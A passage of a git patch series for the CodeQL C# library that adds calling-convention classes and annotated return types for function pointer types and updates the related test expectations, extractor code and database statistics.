+ VarArgsCallingConvention() { this = MkCallingConvention(5) } + + override string toString() { result = "VarArgsCallingConvention" } +} + +// Add sub classes /** * A function pointer type, for example * @@ -809,7 +866,11 @@ class FunctionPointerType extends Type, Parameterizable, @function_pointer_type Type getReturnType() { function_pointer_return_type(this, getTypeRef(result)) } /** Gets the calling convention. */ - int getCallingConvention() { function_pointer_calling_conventions(this, result) } + CallingConvention getCallingConvention() { + exists(int i | + function_pointer_calling_conventions(this, i) and result = MkCallingConvention(i) + ) + } /** Gets the unmanaged calling convention at index `i`. */ Type getUnmanagedCallingConvention(int i) { diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs b/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs index f560f2767d7..3c51dcc1744 100644 --- a/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs @@ -13,7 +13,7 @@ public class FnPointer return 0; } - static void M1(delegate*<ref int, out object?, int> f) + static void M1(delegate*<ref int, out object?, ref readonly int> f) { int i = 42; int j = f(ref i, out object? o); diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected b/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected index c70fafe918a..eb5f55e4af2 100644 --- a/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected @@ -1,13 +1,13 @@ type -| file://:0:0:0:0 | delegate* default<A,B> | B | 0 | -| file://:0:0:0:0 | delegate* default<B,A> | A | 0 | -| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | Int32 | 0 | -| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32> | Int32 | 0 | -| file://:0:0:0:0 | delegate* default<Int32*,Void*> | Void* | 0 | -| file://:0:0:0:0 | delegate* default<Int32> | Int32 | 0 | -| file://:0:0:0:0 | delegate* default<T,Int32> | Int32 | 0 | -| file://:0:0:0:0 | delegate* default<Void*,Int32*> | Int32* | 0 | -| file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | Void | 2 | +| file://:0:0:0:0 | delegate* default<A,B> | B | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<B,A> | A | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | Int32 | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 ref readonly> | Int32 | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<Int32*,Void*> | Void* | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<Int32> | Int32 | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<T,Int32> | Int32 | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<Void*,Int32*> | Int32* | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | Void | StdCallCallingConvention | unmanagedCallingConvention parameter | file://:0:0:0:0 | delegate* default<A,B> | 0 | file://:0:0:0:0 | | A | @@ -15,8 +15,8 @@ parameter | file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 0 | file://:0:0:0:0 | | Int32 | | file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 1 | file://:0:0:0:0 | `1 | Object | | file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 2 | file://:0:0:0:0 | `2 | Int32 | -| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32> | 0 | file://:0:0:0:0 | | Int32 | -| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32> | 1 | file://:0:0:0:0 | `1 | Object | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 ref readonly> | 0 | file://:0:0:0:0 | | Int32 | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 ref readonly> | 1 | file://:0:0:0:0 | `1 | Object | | file://:0:0:0:0 | delegate* default<Int32*,Void*> | 0 | file://:0:0:0:0 | | Int32* | | file://:0:0:0:0 | delegate* default<T,Int32> | 0 | file://:0:0:0:0 | | T | | file://:0:0:0:0 | delegate* default<Void*,Int32*> | 0 | file://:0:0:0:0 | | Void* | diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql b/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql index 976dce29ed1..e5f120442ab 100644 --- a/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql @@ -1,8 +1,8 @@ import csharp -query predicate type(FunctionPointerType fpt, string returnType, int callingConvention) { +query predicate type(FunctionPointerType fpt, string returnType, string callingConvention) { fpt.getReturnType().toString() = returnType and - fpt.getCallingConvention() = callingConvention + fpt.getCallingConvention().toString() = callingConvention } query predicate unmanagedCallingConvention(FunctionPointerType fpt, int i, string callingConvention) { From 1d9b3ec8b46f2a3f5dabb4b6f5a6ce176776fd07 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 14 Jan 2021 16:10:33 +0100 Subject: [PATCH 0708/1241] Allow annotating fnptr return types --- .../src/semmle/code/csharp/AnnotatedType.qll | 2 ++ csharp/ql/src/semmle/code/csharp/Type.qll | 3 ++ csharp/ql/src/semmlecode.csharp.dbscheme | 2 +- .../csharp9/FunctionPointer.expected | 28 +++++++++---------- .../library-tests/csharp9/FunctionPointer.ql | 4 +-- 5 files changed, 22 insertions(+), 17 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/AnnotatedType.qll b/csharp/ql/src/semmle/code/csharp/AnnotatedType.qll index 0e5c512057a..6a6274821d7 100644 --- a/csharp/ql/src/semmle/code/csharp/AnnotatedType.qll +++ b/csharp/ql/src/semmle/code/csharp/AnnotatedType.qll @@ -231,6 +231,8 @@ private module Annotations { type = element.(Expr).getType() or type = element.(DelegateType).getReturnType() + or + type = element.(FunctionPointerType).getReturnType() ) } } diff --git a/csharp/ql/src/semmle/code/csharp/Type.qll b/csharp/ql/src/semmle/code/csharp/Type.qll index eb7f3ea119b..771ea7dca07 100644 --- a/csharp/ql/src/semmle/code/csharp/Type.qll +++ b/csharp/ql/src/semmle/code/csharp/Type.qll @@ -880,6 +880,9 @@ class FunctionPointerType extends Type, Parameterizable, @function_pointer_type /** Gets an unmanaged calling convention. */ Type getAnUnmanagedCallingConvention() { result = getUnmanagedCallingConvention(_) } + /** Gets the annotated return type of this function pointer type. */ + AnnotatedType getAnnotatedReturnType() { result.appliesTo(this) } + override string getAPrimaryQlClass() { result = "FunctionPointerType" } } diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 87af962edcd..dd813977f70 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -466,7 +466,7 @@ type_mention_location( unique int id: @type_mention ref, int loc: @location ref); -@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; /** * A direct annotation on an entity, for example `string? x;`. diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected b/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected index eb5f55e4af2..d39e7d7d2af 100644 --- a/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected @@ -1,27 +1,27 @@ type | file://:0:0:0:0 | delegate* default<A,B> | B | DefaultCallingConvention | | file://:0:0:0:0 | delegate* default<B,A> | A | DefaultCallingConvention | -| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | Int32 | DefaultCallingConvention | -| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 ref readonly> | Int32 | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | ref int | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 ref readonly> | readonly int | DefaultCallingConvention | | file://:0:0:0:0 | delegate* default<Int32*,Void*> | Void* | DefaultCallingConvention | -| file://:0:0:0:0 | delegate* default<Int32> | Int32 | DefaultCallingConvention | -| file://:0:0:0:0 | delegate* default<T,Int32> | Int32 | DefaultCallingConvention | -| file://:0:0:0:0 | delegate* default<Void*,Int32*> | Int32* | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<Int32> | int | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<T,Int32> | int | DefaultCallingConvention | +| file://:0:0:0:0 | delegate* default<Void*,Int32*> | int* | DefaultCallingConvention | | file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | Void | StdCallCallingConvention | unmanagedCallingConvention parameter | file://:0:0:0:0 | delegate* default<A,B> | 0 | file://:0:0:0:0 | | A | | file://:0:0:0:0 | delegate* default<B,A> | 0 | file://:0:0:0:0 | | B | -| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 0 | file://:0:0:0:0 | | Int32 | -| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 1 | file://:0:0:0:0 | `1 | Object | -| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 2 | file://:0:0:0:0 | `2 | Int32 | -| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 ref readonly> | 0 | file://:0:0:0:0 | | Int32 | -| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 ref readonly> | 1 | file://:0:0:0:0 | `1 | Object | -| file://:0:0:0:0 | delegate* default<Int32*,Void*> | 0 | file://:0:0:0:0 | | Int32* | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 0 | file://:0:0:0:0 | | ref int! | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 1 | file://:0:0:0:0 | `1 | out object? | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 2 | file://:0:0:0:0 | `2 | readonly int! | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 ref readonly> | 0 | file://:0:0:0:0 | | ref int! | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 ref readonly> | 1 | file://:0:0:0:0 | `1 | out object? | +| file://:0:0:0:0 | delegate* default<Int32*,Void*> | 0 | file://:0:0:0:0 | | int*! | | file://:0:0:0:0 | delegate* default<T,Int32> | 0 | file://:0:0:0:0 | | T | -| file://:0:0:0:0 | delegate* default<Void*,Int32*> | 0 | file://:0:0:0:0 | | Void* | -| file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | 0 | file://:0:0:0:0 | | Int32 | -| file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | 1 | file://:0:0:0:0 | `1 | Object | +| file://:0:0:0:0 | delegate* default<Void*,Int32*> | 0 | file://:0:0:0:0 | | Void*! | +| file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | 0 | file://:0:0:0:0 | | ref int! | +| file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | 1 | file://:0:0:0:0 | `1 | out object? | | file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | 2 | file://:0:0:0:0 | `2 | T | invocation | FunctionPointer.cs:19:21:19:43 | function pointer call | diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql b/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql index e5f120442ab..25f0254ef45 100644 --- a/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql @@ -1,7 +1,7 @@ import csharp query predicate type(FunctionPointerType fpt, string returnType, string callingConvention) { - fpt.getReturnType().toString() = returnType and + fpt.getAnnotatedReturnType().toString() = returnType and fpt.getCallingConvention().toString() = callingConvention } @@ -10,7 +10,7 @@ query predicate unmanagedCallingConvention(FunctionPointerType fpt, int i, strin } query predicate parameter(FunctionPointerType fpt, int i, Parameter p, string t) { - fpt.getParameter(i) = p and p.getType().toString() = t + fpt.getParameter(i) = p and p.getAnnotatedType().toString() = t } query predicate invocation(FunctionPointerCall fpc) { any() } From 613bf6dca663d6b58cdb40cbb4689f8a2de0e421 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 15 Jan 2021 08:23:18 +0100 Subject: [PATCH 0709/1241] Fix failing test --- csharp/ql/test/library-tests/csharp9/PrintAst.expected | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index b94262ac27f..1bf5e98d962 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -121,7 +121,7 @@ FunctionPointer.cs: # 16| -1: [TypeMention] Void #-----| 2: (Parameters) # 16| 0: [Parameter] f -# 16| -1: [TypeMention] delegate* default<Int32 ref,Object out,Int32> +# 16| -1: [TypeMention] delegate* default<Int32 ref,Object out,Int32 ref readonly> # 17| 4: [BlockStmt] {...} # 18| 0: [LocalVariableDeclStmt] ... ...; # 18| 0: [LocalVariableDeclAndInitExpr] Int32 i = ... From f7a0c98cb311d6922d5c2271a550a2266bab7688 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 15 Jan 2021 08:33:48 +0100 Subject: [PATCH 0710/1241] Code quality improvement --- .../Entities/Expressions/Invocation.cs | 8 +------- csharp/ql/src/semmle/code/csharp/Type.qll | 2 +- 2 files changed, 2 insertions(+), 8 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs index bf5cf006282..638822f3d27 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs @@ -136,7 +136,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions private static bool IsDelegateLikeCall(ExpressionNodeInfo info) { - return IsDelegateLikeCall(info, IsDelegateLikeCall); + return IsDelegateLikeCall(info, symbol => IsFunctionPointer(symbol) || IsDelegateInvoke(symbol)); } private static bool IsDelegateInvokeCall(ExpressionNodeInfo info) @@ -167,12 +167,6 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions return check(si.Symbol); } - private static bool IsDelegateLikeCall(ISymbol symbol) - { - return IsFunctionPointer(symbol) || - IsDelegateInvoke(symbol); - } - private static bool IsFunctionPointer(ISymbol symbol) { return symbol != null && diff --git a/csharp/ql/src/semmle/code/csharp/Type.qll b/csharp/ql/src/semmle/code/csharp/Type.qll index 771ea7dca07..b15f7b57392 100644 --- a/csharp/ql/src/semmle/code/csharp/Type.qll +++ b/csharp/ql/src/semmle/code/csharp/Type.qll @@ -805,6 +805,7 @@ private newtype TCallingConvention = * signature are passed from the caller to the callee. */ class CallingConvention extends TCallingConvention { + /** Gets a textual representation of this calling convention. */ string toString() { result = "CallingConvention" } } @@ -853,7 +854,6 @@ class VarArgsCallingConvention extends CallingConvention { override string toString() { result = "VarArgsCallingConvention" } } -// Add sub classes /** * A function pointer type, for example * From 35b955f694adf4de8a0f595e8963a09c5905e8f6 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 19 Jan 2021 10:18:20 +0100 Subject: [PATCH 0711/1241] Update change note date --- ...0-11-19-Function-pointer.md => 2021-01-19-Function-pointer.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename csharp/change-notes/{2020-11-19-Function-pointer.md => 2021-01-19-Function-pointer.md} (100%) diff --git a/csharp/change-notes/2020-11-19-Function-pointer.md b/csharp/change-notes/2021-01-19-Function-pointer.md similarity index 100% rename from csharp/change-notes/2020-11-19-Function-pointer.md rename to csharp/change-notes/2021-01-19-Function-pointer.md From d34992d36c3532ea4c637a239fb265121982e247 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 19 Jan 2021 17:26:07 +0100 Subject: [PATCH 0712/1241] Add .stats file --- .../ql/src/semmlecode.csharp.dbscheme.stats | 7808 +++++++++-------- 1 file changed, 4006 insertions(+), 3802 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index 7717e6d8d2b..60d97b381d3 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -1,7 +1,7 @@ <dbstats> <typesizes><e> <k>@compilation</k> -<v>1098</v> +<v>1093</v> </e> <e> <k>@diagnostic</k> @@ -25,7 +25,7 @@ </e> <e> <k>@duplication</k> -<v>22785</v> +<v>22690</v> </e> <e> <k>@similarity</k> @@ -33,31 +33,31 @@ </e> <e> <k>@location_default</k> -<v>14071972</v> +<v>14071977</v> </e> <e> <k>@assembly</k> -<v>4207</v> +<v>4190</v> </e> <e> <k>@file</k> -<v>42559</v> +<v>42382</v> </e> <e> <k>@folder</k> -<v>16977</v> +<v>16906</v> </e> <e> <k>@namespace</k> -<v>21990</v> +<v>21898</v> </e> <e> <k>@namespace_declaration</k> -<v>19803</v> +<v>19720</v> </e> <e> <k>@using_namespace_directive</k> -<v>144569</v> +<v>143966</v> </e> <e> <k>@using_static_directive</k> @@ -117,23 +117,23 @@ </e> <e> <k>@enum_type</k> -<v>11978</v> +<v>11928</v> </e> <e> <k>@struct_type</k> -<v>49774</v> +<v>49566</v> </e> <e> <k>@class_type</k> -<v>305768</v> +<v>304493</v> </e> <e> <k>@interface_type</k> -<v>178503</v> +<v>177759</v> </e> <e> <k>@delegate_type</k> -<v>107803</v> +<v>107353</v> </e> <e> <k>@null_type</k> @@ -141,11 +141,11 @@ </e> <e> <k>@type_parameter</k> -<v>203041</v> +<v>202195</v> </e> <e> <k>@pointer_type</k> -<v>219</v> +<v>218</v> </e> <e> <k>@nullable_type</k> @@ -153,7 +153,7 @@ </e> <e> <k>@array_type</k> -<v>9142</v> +<v>9104</v> </e> <e> <k>@void_type</k> @@ -165,7 +165,7 @@ </e> <e> <k>@tuple_type</k> -<v>1786</v> +<v>1779</v> </e> <e> <k>@uint_ptr_type</k> @@ -184,32 +184,36 @@ <v>0</v> </e> <e> +<k>@function_pointer_type</k> +<v>11</v> +</e> +<e> <k>@typeref</k> -<v>235307</v> +<v>234326</v> </e> <e> <k>@attribute</k> -<v>750912</v> +<v>743932</v> </e> <e> <k>@type_mention</k> -<v>1270028</v> +<v>1246314</v> </e> <e> <k>@oblivious</k> -<v>1317</v> +<v>1312</v> </e> <e> <k>@not_annotated</k> -<v>619</v> +<v>617</v> </e> <e> <k>@annotated</k> -<v>116</v> +<v>113</v> </e> <e> <k>@type_parameter_constraints</k> -<v>612122</v> +<v>590676</v> </e> <e> <k>@modifier</k> @@ -217,47 +221,47 @@ </e> <e> <k>@property</k> -<v>424457</v> +<v>422687</v> </e> <e> <k>@indexer</k> -<v>17079</v> +<v>17008</v> </e> <e> <k>@getter</k> -<v>441302</v> +<v>439462</v> </e> <e> <k>@setter</k> -<v>127806</v> +<v>127273</v> </e> <e> <k>@event</k> -<v>15263</v> +<v>15200</v> </e> <e> <k>@add_event_accessor</k> -<v>15263</v> +<v>15200</v> </e> <e> <k>@remove_event_accessor</k> -<v>15263</v> +<v>15200</v> </e> <e> <k>@operator</k> -<v>12437</v> +<v>12385</v> </e> <e> <k>@method</k> -<v>1119078</v> +<v>1114413</v> </e> <e> <k>@constructor</k> -<v>278247</v> +<v>277088</v> </e> <e> <k>@destructor</k> -<v>444</v> +<v>442</v> </e> <e> <k>@local_function</k> @@ -265,15 +269,15 @@ </e> <e> <k>@addressable_field</k> -<v>371280</v> +<v>369732</v> </e> <e> <k>@constant</k> -<v>185620</v> +<v>184846</v> </e> <e> <k>@addressable_local_variable</k> -<v>162450</v> +<v>162455</v> </e> <e> <k>@local_constant</k> @@ -281,23 +285,23 @@ </e> <e> <k>@local_variable_ref</k> -<v>259</v> +<v>265</v> </e> <e> <k>@parameter</k> -<v>2422733</v> +<v>2412633</v> </e> <e> <k>@block_stmt</k> -<v>308713</v> +<v>307020</v> </e> <e> <k>@expr_stmt</k> -<v>368014</v> +<v>366480</v> </e> <e> <k>@return_stmt</k> -<v>96238</v> +<v>94536</v> </e> <e> <k>@using_block_stmt</k> @@ -305,47 +309,47 @@ </e> <e> <k>@var_decl_stmt</k> -<v>147913</v> +<v>147605</v> </e> <e> <k>@if_stmt</k> -<v>119227</v> +<v>117920</v> </e> <e> <k>@switch_stmt</k> -<v>3050</v> +<v>3071</v> </e> <e> <k>@while_stmt</k> -<v>4546</v> +<v>4455</v> </e> <e> <k>@do_stmt</k> -<v>1001</v> +<v>983</v> </e> <e> <k>@for_stmt</k> -<v>6969</v> +<v>6806</v> </e> <e> <k>@foreach_stmt</k> -<v>5364</v> +<v>5342</v> </e> <e> <k>@break_stmt</k> -<v>10918</v> +<v>11024</v> </e> <e> <k>@continue_stmt</k> -<v>2188</v> +<v>2222</v> </e> <e> <k>@goto_stmt</k> -<v>2701</v> +<v>2738</v> </e> <e> <k>@goto_case_stmt</k> -<v>348</v> +<v>329</v> </e> <e> <k>@goto_default_stmt</k> @@ -353,27 +357,27 @@ </e> <e> <k>@throw_stmt</k> -<v>74371</v> +<v>75270</v> </e> <e> <k>@yield_stmt</k> -<v>686</v> +<v>680</v> </e> <e> <k>@try_stmt</k> -<v>4327</v> +<v>4302</v> </e> <e> <k>@checked_stmt</k> -<v>256</v> +<v>253</v> </e> <e> <k>@unchecked_stmt</k> -<v>105</v> +<v>104</v> </e> <e> <k>@lock_stmt</k> -<v>1661</v> +<v>1526</v> </e> <e> <k>@const_decl_stmt</k> @@ -381,111 +385,111 @@ </e> <e> <k>@empty_stmt</k> -<v>358</v> +<v>352</v> </e> <e> <k>@unsafe_stmt</k> -<v>179</v> +<v>182</v> </e> <e> <k>@fixed_stmt</k> -<v>1126</v> +<v>1150</v> </e> <e> <k>@label_stmt</k> -<v>1009</v> +<v>1019</v> </e> <e> <k>@catch</k> -<v>3441</v> +<v>3425</v> </e> <e> <k>@case_stmt</k> -<v>22456</v> +<v>22759</v> </e> <e> <k>@local_function_stmt</k> -<v>1793</v> +<v>1792</v> </e> <e> <k>@using_decl_stmt</k> -<v>554</v> +<v>551</v> </e> <e> <k>@bool_literal_expr</k> -<v>69559</v> +<v>69419</v> </e> <e> <k>@int_literal_expr</k> -<v>756818</v> +<v>747703</v> </e> <e> <k>@long_literal_expr</k> -<v>325</v> +<v>332</v> </e> <e> <k>@double_literal_expr</k> -<v>854</v> +<v>866</v> </e> <e> <k>@string_literal_expr</k> -<v>412639</v> +<v>410826</v> </e> <e> <k>@null_literal_expr</k> -<v>107934</v> +<v>108012</v> </e> <e> <k>@local_variable_access_expr</k> -<v>524154</v> +<v>522612</v> </e> <e> <k>@parameter_access_expr</k> -<v>357738</v> +<v>354327</v> </e> <e> <k>@field_access_expr</k> -<v>460637</v> +<v>458716</v> </e> <e> <k>@property_access_expr</k> -<v>359892</v> +<v>358392</v> </e> <e> <k>@type_access_expr</k> -<v>347147</v> +<v>346534</v> </e> <e> <k>@typeof_expr</k> -<v>30112</v> +<v>29968</v> </e> <e> <k>@method_invocation_expr</k> -<v>548157</v> +<v>547087</v> </e> <e> <k>@cast_expr</k> -<v>263006</v> +<v>264717</v> </e> <e> <k>@object_creation_expr</k> -<v>62905</v> +<v>62624</v> </e> <e> <k>@array_creation_expr</k> -<v>179763</v> +<v>178981</v> </e> <e> <k>@array_init_expr</k> -<v>179303</v> +<v>178530</v> </e> <e> <k>@local_var_decl_expr</k> -<v>163756</v> +<v>163323</v> </e> <e> <k>@char_literal_expr</k> -<v>15906</v> +<v>16212</v> </e> <e> <k>@decimal_literal_expr</k> @@ -493,59 +497,59 @@ </e> <e> <k>@uint_literal_expr</k> -<v>2368</v> +<v>2411</v> </e> <e> <k>@ulong_literal_expr</k> -<v>382</v> +<v>390</v> </e> <e> <k>@float_literal_expr</k> -<v>446</v> +<v>455</v> </e> <e> <k>@this_access_expr</k> -<v>593115</v> +<v>590642</v> </e> <e> <k>@base_access_expr</k> -<v>2823</v> +<v>2845</v> </e> <e> <k>@method_access_expr</k> -<v>9230</v> +<v>9221</v> </e> <e> <k>@event_access_expr</k> -<v>431</v> +<v>434</v> </e> <e> <k>@indexer_access_expr</k> -<v>30825</v> +<v>30696</v> </e> <e> <k>@array_access_expr</k> -<v>19760</v> +<v>19392</v> </e> <e> <k>@delegate_invocation_expr</k> -<v>2141</v> +<v>2005</v> </e> <e> <k>@operator_invocation_expr</k> -<v>29999</v> +<v>29948</v> </e> <e> <k>@explicit_delegate_creation_expr</k> -<v>668</v> +<v>680</v> </e> <e> <k>@implicit_delegate_creation_expr</k> -<v>5120</v> +<v>5099</v> </e> <e> <k>@default_expr</k> -<v>6362</v> +<v>6155</v> </e> <e> <k>@plus_expr</k> @@ -553,123 +557,123 @@ </e> <e> <k>@minus_expr</k> -<v>7147</v> +<v>7081</v> </e> <e> <k>@bit_not_expr</k> -<v>741</v> +<v>739</v> </e> <e> <k>@log_not_expr</k> -<v>26441</v> +<v>26331</v> </e> <e> <k>@post_incr_expr</k> -<v>12573</v> +<v>12335</v> </e> <e> <k>@post_decr_expr</k> -<v>1740</v> +<v>1700</v> </e> <e> <k>@pre_incr_expr</k> -<v>1275</v> +<v>1263</v> </e> <e> <k>@pre_decr_expr</k> -<v>412</v> +<v>407</v> </e> <e> <k>@mul_expr</k> -<v>4629</v> +<v>4635</v> </e> <e> <k>@div_expr</k> -<v>1819</v> +<v>1795</v> </e> <e> <k>@rem_expr</k> -<v>717</v> +<v>705</v> </e> <e> <k>@add_expr</k> -<v>27898</v> +<v>27803</v> </e> <e> <k>@sub_expr</k> -<v>12849</v> +<v>12596</v> </e> <e> <k>@lshift_expr</k> -<v>4051</v> +<v>4129</v> </e> <e> <k>@rshift_expr</k> -<v>1765</v> +<v>1766</v> </e> <e> <k>@lt_expr</k> -<v>16306</v> +<v>15951</v> </e> <e> <k>@gt_expr</k> -<v>9593</v> +<v>9397</v> </e> <e> <k>@le_expr</k> -<v>3899</v> +<v>3836</v> </e> <e> <k>@ge_expr</k> -<v>6286</v> +<v>6025</v> </e> <e> <k>@eq_expr</k> -<v>53949</v> +<v>53613</v> </e> <e> <k>@ne_expr</k> -<v>37977</v> +<v>37287</v> </e> <e> <k>@bit_and_expr</k> -<v>6334</v> +<v>6310</v> </e> <e> <k>@bit_xor_expr</k> -<v>537</v> +<v>529</v> </e> <e> <k>@bit_or_expr</k> -<v>14998</v> +<v>15255</v> </e> <e> <k>@log_and_expr</k> -<v>20845</v> +<v>20419</v> </e> <e> <k>@log_or_expr</k> -<v>14088</v> +<v>14022</v> </e> <e> <k>@is_expr</k> -<v>6722</v> +<v>6498</v> </e> <e> <k>@as_expr</k> -<v>2760</v> +<v>2733</v> </e> <e> <k>@null_coalescing_expr</k> -<v>3685</v> +<v>3622</v> </e> <e> <k>@conditional_expr</k> -<v>9160</v> +<v>8989</v> </e> <e> <k>@simple_assign_expr</k> -<v>167569</v> +<v>166871</v> </e> <e> <k>@assign_add_expr</k> @@ -677,7 +681,7 @@ </e> <e> <k>@assign_sub_expr</k> -<v>1018</v> +<v>1023</v> </e> <e> <k>@assign_mul_expr</k> @@ -685,7 +689,7 @@ </e> <e> <k>@assign_div_expr</k> -<v>97</v> +<v>99</v> </e> <e> <k>@assign_rem_expr</k> @@ -693,31 +697,31 @@ </e> <e> <k>@assign_and_expr</k> -<v>343</v> +<v>341</v> </e> <e> <k>@assign_xor_expr</k> -<v>116</v> +<v>114</v> </e> <e> <k>@assign_or_expr</k> -<v>1393</v> +<v>1415</v> </e> <e> <k>@assign_lshift_expr</k> -<v>116</v> +<v>118</v> </e> <e> <k>@assign_rshift_expr</k> -<v>218</v> +<v>216</v> </e> <e> <k>@object_init_expr</k> -<v>7702</v> +<v>7670</v> </e> <e> <k>@collection_init_expr</k> -<v>595</v> +<v>593</v> </e> <e> <k>@checked_expr</k> @@ -725,19 +729,19 @@ </e> <e> <k>@unchecked_expr</k> -<v>1422</v> +<v>1424</v> </e> <e> <k>@constructor_init_expr</k> -<v>5823</v> +<v>5807</v> </e> <e> <k>@add_event_expr</k> -<v>170</v> +<v>173</v> </e> <e> <k>@remove_event_expr</k> -<v>120</v> +<v>121</v> </e> <e> <k>@par_expr</k> @@ -745,7 +749,7 @@ </e> <e> <k>@lambda_expr</k> -<v>48876</v> +<v>48672</v> </e> <e> <k>@anonymous_method_expr</k> @@ -757,35 +761,35 @@ </e> <e> <k>@dynamic_element_access_expr</k> -<v>331</v> +<v>330</v> </e> <e> <k>@dynamic_member_access_expr</k> -<v>6858</v> +<v>6829</v> </e> <e> <k>@pointer_indirection_expr</k> -<v>4061</v> +<v>4149</v> </e> <e> <k>@address_of_expr</k> -<v>1251</v> +<v>1292</v> </e> <e> <k>@sizeof_expr</k> -<v>1041</v> +<v>1063</v> </e> <e> <k>@await_expr</k> -<v>54870</v> +<v>54641</v> </e> <e> <k>@nameof_expr</k> -<v>15943</v> +<v>15612</v> </e> <e> <k>@interpolated_string_expr</k> -<v>3047</v> +<v>3044</v> </e> <e> 